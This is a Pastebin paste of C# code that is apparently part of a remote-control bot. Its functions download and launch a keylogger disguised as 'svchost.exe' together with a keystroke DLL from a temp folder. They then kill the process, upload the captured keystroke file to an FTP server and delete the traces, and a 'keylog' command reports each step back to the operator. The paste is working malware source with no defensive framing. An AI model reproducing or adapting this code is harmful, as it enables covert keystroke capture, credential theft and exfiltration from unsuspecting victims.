Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public bool CreateKeyLog()
- {
- try
- {
- Directory.CreateDirectory(temp + "stuu");
- bool exe = DL("svchost.exe",temp + "stuu/");
- bool dll = DL("KeystrokeAPI.dll", temp + "stuu/");
- if(exe & dll)
- {
- if(exec(temp + "stuu/svchost.exe"))
- {
- Send("keylog*Keylogger is running.");
- return true;
- } else
- {
- return false;
- }
- } else
- {
- return false;
- }
- }
- catch (Exception ex)
- {
- return false;
- }
- }
- public bool DeleteKeyLog()
- {
- if (Directory.Exists(temp + "stuu"))
- {
- if (File.Exists(temp + "stuu/svchost.exe") && File.Exists(temp + "stuu/KeystrokeAPI.dll") && File.Exists(temp + "stuu/d.txt")) {
- if (procRunning("svchost")) {
- Kill("svchost.exe");
- }
- File.Delete(temp + "stuu/svchost.exe");
- File.Delete(temp + "stuu/KeystrokeAPI.dll");
- Upload(temp + "stuu/d.txt");
- File.Delete(temp + "stuu/d.txt");
- Directory.Delete(temp + "stuu");
- return true;
- } else
- {
- return false;
- }
- } else
- {
- return false;
- }
- }
- case "keylog":
- if (DeleteKeyLog())
- {
- Send("keylog*" + "Keylog was uploaded to ftp. Downloading soon..");
- } else
- {
- Send("keylog*" + "Keylog wasn't uploaded to ftp due to an error.");
- }
- if (CreateKeyLog())
- {
- Send("keylog*" + "Successfuly created new instance of the keylogger.");
- } else
- {
- Send("keylog*" + "Failed to create new instance of the keylogger.");
- }
- break;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement